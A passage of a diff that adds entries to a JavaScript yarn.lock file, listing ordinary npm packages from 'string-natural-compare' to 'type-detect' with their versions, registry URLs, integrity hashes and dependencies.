+  integrity sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==
+  dependencies:
+    char-regex "^2.0.0"
+    strip-ansi "^7.0.1"
+
+string-natural-compare@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/string-natural-compare/-/string-natural-compare-3.0.1.tgz#7a42d58474454963759e8e8b7ae63d71c1e7fdf4"
+  integrity sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==
+
+"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@^5.0.1, string-width@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794"
+  integrity sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==
+  dependencies:
+    eastasianwidth "^0.2.0"
+    emoji-regex "^9.2.2"
+    strip-ansi "^7.0.1"
+
+string.prototype.includes@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz#eceef21283640761a81dbe16d6c7171a4edf7d92"
+  integrity sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+
+string.prototype.matchall@^4.0.12, string.prototype.matchall@^4.0.6:
+  version "4.0.12"
+  resolved "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz#6c88740e49ad4956b1332a911e949583a275d4c0"
+  integrity sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.6"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.6"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    internal-slot "^1.1.0"
+    regexp.prototype.flags "^1.5.3"
+    set-function-name "^2.0.2"
+    side-channel "^1.1.0"
+
+string.prototype.repeat@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz#e90872ee0308b29435aa26275f6e1b762daee01a"
+  integrity sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==
+  dependencies:
+    define-properties "^1.1.3"
+    es-abstract "^1.17.5"
+
+string.prototype.trim@^1.2.10:
+  version "1.2.10"
+  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz#40b2dd5ee94c959b4dcfb1d65ce72e90da480c81"
+  integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-data-property "^1.1.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-object-atoms "^1.0.0"
+    has-property-descriptors "^1.0.2"
+
+string.prototype.trimend@^1.0.8, string.prototype.trimend@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz#62e2731272cd285041b36596054e9f66569b6942"
+  integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string.prototype.trimstart@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde"
+  integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+string_decoder@^1.1.1:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
+  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
+  dependencies:
+    safe-buffer "~5.2.0"
+
+string_decoder@~1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
+  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
+  dependencies:
+    safe-buffer "~5.1.0"
+
+stringify-object@^3.3.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/stringify-object/-/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629"
+  integrity sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==
+  dependencies:
+    get-own-enumerable-property-symbols "^3.0.0"
+    is-obj "^1.0.1"
+    is-regexp "^1.0.0"
+
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-ansi@^0.3.0:
+  version "0.3.0"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-0.3.0.tgz#25f48ea22ca79187f3174a4db8759347bb126220"
+  integrity sha512-DerhZL7j6i6/nEnVG0qViKXI0OKouvvpsAiaj7c+LfqZZZxdwZtv8+UiA/w4VUJpT8UzX0pR1dcHOii1GbmruQ==
+  dependencies:
+    ansi-regex "^0.2.1"
+
+strip-ansi@^7.0.1:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.0.tgz#d5b6568ca689d8561370b0707685d22434faff45"
+  integrity sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==
+  dependencies:
+    ansi-regex "^6.0.1"
+
+strip-bom@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
+  integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==
+
+strip-bom@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
+  integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==
+
+strip-comments@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/strip-comments/-/strip-comments-2.0.1.tgz#4ad11c3fbcac177a67a40ac224ca339ca1c1ba9b"
+  integrity sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==
+
+strip-final-newline@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
+  integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==
+
+strip-json-comments@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+style-loader@^3.3.1:
+  version "3.3.4"
+  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-3.3.4.tgz#f30f786c36db03a45cbd55b6a70d930c479090e7"
+  integrity sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==
+
+stylehacks@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-5.1.1.tgz#7934a34eb59d7152149fa69d6e9e56f2fc34bcc9"
+  integrity sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==
+  dependencies:
+    browserslist "^4.21.4"
+    postcss-selector-parser "^6.0.4"
+
+sucrase@^3.35.0:
+  version "3.35.0"
+  resolved "https://registry.yarnpkg.com/sucrase/-/sucrase-3.35.0.tgz#57f17a3d7e19b36d8995f06679d121be914ae263"
+  integrity sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.2"
+    commander "^4.0.0"
+    glob "^10.3.10"
+    lines-and-columns "^1.1.6"
+    mz "^2.7.0"
+    pirates "^4.0.1"
+    ts-interface-checker "^0.1.9"
+
+supports-color@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-0.2.0.tgz#d92de2694eb3f67323973d7ae3d8b55b4c22190a"
+  integrity sha512-tdCZ28MnM7k7cJDJc7Eq80A9CsRFAAOZUy41npOZCs++qSjfIy7o5Rh46CBk+Dk5FbKJ33X3Tqg4YrV07N5RaA==
+
+supports-color@^5.3.0:
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+  dependencies:
+    has-flag "^3.0.0"
+
+supports-color@^7.0.0, supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-color@^8.0.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c"
+  integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-hyperlinks@^2.0.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz#3943544347c1ff90b15effb03fc14ae45ec10624"
+  integrity sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==
+  dependencies:
+    has-flag "^4.0.0"
+    supports-color "^7.0.0"
+
+supports-preserve-symlinks-flag@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
+  integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
+
+svg-parser@^2.0.2:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/svg-parser/-/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5"
+  integrity sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==
+
+svgo@^1.2.2:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
+  integrity sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==
+  dependencies:
+    chalk "^2.4.1"
+    coa "^2.0.2"
+    css-select "^2.0.0"
+    css-select-base-adapter "^0.1.1"
+    css-tree "1.0.0-alpha.37"
+    csso "^4.0.2"
+    js-yaml "^3.13.1"
+    mkdirp "~0.5.1"
+    object.values "^1.1.0"
+    sax "~1.2.4"
+    stable "^0.1.8"
+    unquote "~1.1.1"
+    util.promisify "~1.0.0"
+
+svgo@^2.7.0:
+  version "2.8.0"
+  resolved "https://registry.yarnpkg.com/svgo/-/svgo-2.8.0.tgz#4ff80cce6710dc2795f0c7c74101e6764cfccd24"
+  integrity sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==
+  dependencies:
+    "@trysound/sax" "0.2.0"
+    commander "^7.2.0"
+    css-select "^4.1.3"
+    css-tree "^1.1.3"
+    csso "^4.2.0"
+    picocolors "^1.0.0"
+    stable "^0.1.8"
+
+symbol-tree@^3.2.4:
+  version "3.2.4"
+  resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
+  integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
+
+tailwindcss@^3.0.2:
+  version "3.4.17"
+  resolved "https://registry.yarnpkg.com/tailwindcss/-/tailwindcss-3.4.17.tgz#ae8406c0f96696a631c790768ff319d46d5e5a63"
+  integrity sha512-w33E2aCvSDP0tW9RZuNXadXlkHXqFzSkQew/aIa2i/Sj8fThxwovwlXHSPXTbAHwEIhBFXAedUhP2tueAKP8Og==
+  dependencies:
+    "@alloc/quick-lru" "^5.2.0"
+    arg "^5.0.2"
+    chokidar "^3.6.0"
+    didyoumean "^1.2.2"
+    dlv "^1.1.3"
+    fast-glob "^3.3.2"
+    glob-parent "^6.0.2"
+    is-glob "^4.0.3"
+    jiti "^1.21.6"
+    lilconfig "^3.1.3"
+    micromatch "^4.0.8"
+    normalize-path "^3.0.0"
+    object-hash "^3.0.0"
+    picocolors "^1.1.1"
+    postcss "^8.4.47"
+    postcss-import "^15.1.0"
+    postcss-js "^4.0.1"
+    postcss-load-config "^4.0.2"
+    postcss-nested "^6.2.0"
+    postcss-selector-parser "^6.1.2"
+    resolve "^1.22.8"
+    sucrase "^3.35.0"
+
+tapable@^1.0.0:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
+  integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==
+
+tapable@^2.0.0, tapable@^2.1.1, tapable@^2.2.0, tapable@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.1.tgz#1967a73ef4060a82f12ab96af86d52fdb76eeca0"
+  integrity sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==
+
+temp-dir@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/temp-dir/-/temp-dir-2.0.0.tgz#bde92b05bdfeb1516e804c9c00ad45177f31321e"
+  integrity sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==
+
+tempy@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/tempy/-/tempy-0.6.0.tgz#65e2c35abc06f1124a97f387b08303442bde59f3"
+  integrity sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==
+  dependencies:
+    is-stream "^2.0.0"
+    temp-dir "^2.0.0"
+    type-fest "^0.16.0"
+    unique-string "^2.0.0"
+
+terminal-link@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/terminal-link/-/terminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994"
+  integrity sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==
+  dependencies:
+    ansi-escapes "^4.2.1"
+    supports-hyperlinks "^2.0.0"
+
+terser-webpack-plugin@^5.2.5, terser-webpack-plugin@^5.3.10:
+  version "5.3.11"
+  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.11.tgz#93c21f44ca86634257cac176f884f942b7ba3832"
+  integrity sha512-RVCsMfuD0+cTt3EwX8hSl2Ks56EbFHWmhluwcqoPKtBnfjiT6olaq7PRIRfhyU8nnC2MrnDrBLfrD/RGE+cVXQ==
+  dependencies:
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jest-worker "^27.4.5"
+    schema-utils "^4.3.0"
+    serialize-javascript "^6.0.2"
+    terser "^5.31.1"
+
+terser@^5.0.0, terser@^5.10.0, terser@^5.31.1:
+  version "5.37.0"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.37.0.tgz#38aa66d1cfc43d0638fab54e43ff8a4f72a21ba3"
+  integrity sha512-B8wRRkmre4ERucLM/uXx4MOV5cbnOlVAqUst+1+iLKPI0dOgFO28f84ptoQt9HEI537PMzfYa/d+GEPKTRXmYA==
+  dependencies:
+    "@jridgewell/source-map" "^0.3.3"
+    acorn "^8.8.2"
+    commander "^2.20.0"
+    source-map-support "~0.5.20"
+
+test-exclude@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e"
+  integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==
+  dependencies:
+    "@istanbuljs/schema" "^0.1.2"
+    glob "^7.1.4"
+    minimatch "^3.0.4"
+
+text-table@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
+
+thenify-all@^1.0.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/thenify-all/-/thenify-all-1.6.0.tgz#1a1918d402d8fc3f98fbf234db0bcc8cc10e9726"
+  integrity sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==
+  dependencies:
+    thenify ">= 3.1.0 < 4"
+
+"thenify@>= 3.1.0 < 4":
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/thenify/-/thenify-3.3.1.tgz#8932e686a4066038a016dd9e2ca46add9838a95f"
+  integrity sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==
+  dependencies:
+    any-promise "^1.0.0"
+
+throat@^6.0.1:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/throat/-/throat-6.0.2.tgz#51a3fbb5e11ae72e2cf74861ed5c8020f89f29fe"
+  integrity sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==
+
+thunky@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/thunky/-/thunky-1.1.0.tgz#5abaf714a9405db0504732bbccd2cedd9ef9537d"
+  integrity sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==
+
+tmpl@1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc"
+  integrity sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==
+
+to-regex-range@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
+  integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
+  dependencies:
+    is-number "^7.0.0"
+
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
+
+tough-cookie@^4.0.0:
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-4.1.4.tgz#945f1461b45b5a8c76821c33ea49c3ac192c1b36"
+  integrity sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==
+  dependencies:
+    psl "^1.1.33"
+    punycode "^2.1.1"
+    universalify "^0.2.0"
+    url-parse "^1.5.3"
+
+tr46@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/tr46/-/tr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09"
+  integrity sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==
+  dependencies:
+    punycode "^2.1.0"
+
+tr46@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/tr46/-/tr46-2.1.0.tgz#fa87aa81ca5d5941da8cbf1f9b749dc969a4e240"
+  integrity sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==
+  dependencies:
+    punycode "^2.1.1"
+
+tree-kill@^1.1.0:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/tree-kill/-/tree-kill-1.2.2.tgz#4ca09a9092c88b73a7cdc5e8a01b507b0790a0cc"
+  integrity sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==
+
+tryer@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/tryer/-/tryer-1.0.1.tgz#f2c85406800b9b0f74c9f7465b81eaad241252f8"
+  integrity sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==
+
+ts-interface-checker@^0.1.9:
+  version "0.1.13"
+  resolved "https://registry.yarnpkg.com/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz#784fd3d679722bc103b1b4b8030bcddb5db2a699"
+  integrity sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==
+
+tsconfig-paths@^3.15.0:
+  version "3.15.0"
+  resolved "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz#5299ec605e55b1abb23ec939ef15edaf483070d4"
+  integrity sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==
+  dependencies:
+    "@types/json5" "^0.0.29"
+    json5 "^1.0.2"
+    minimist "^1.2.6"
+    strip-bom "^3.0.0"
+
+tslib@^1.8.1:
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
+  integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==
+
+tslib@^2.0.3:
+  version "2.8.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.8.1.tgz#612efe4ed235d567e8aba5f2a5fab70280ade83f"
+  integrity sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==
+
+tsutils@^3.21.0:
+  version "3.21.0"
+  resolved "https://registry.yarnpkg.com/tsutils/-/tsutils-3.21.0.tgz#b48717d394cea6c1e096983eed58e9d61715b623"
+  integrity sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==
+  dependencies:
+    tslib "^1.8.1"
+
+type-check@^0.4.0, type-check@~0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
+  integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
+  dependencies:
+    prelude-ls "^1.2.1"
+
+type-check@~0.3.2:
+  version "0.3.2"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
+  integrity sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==
+  dependencies:
+    prelude-ls "~1.1.2"
+
+type-detect@4.0.8:
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c"
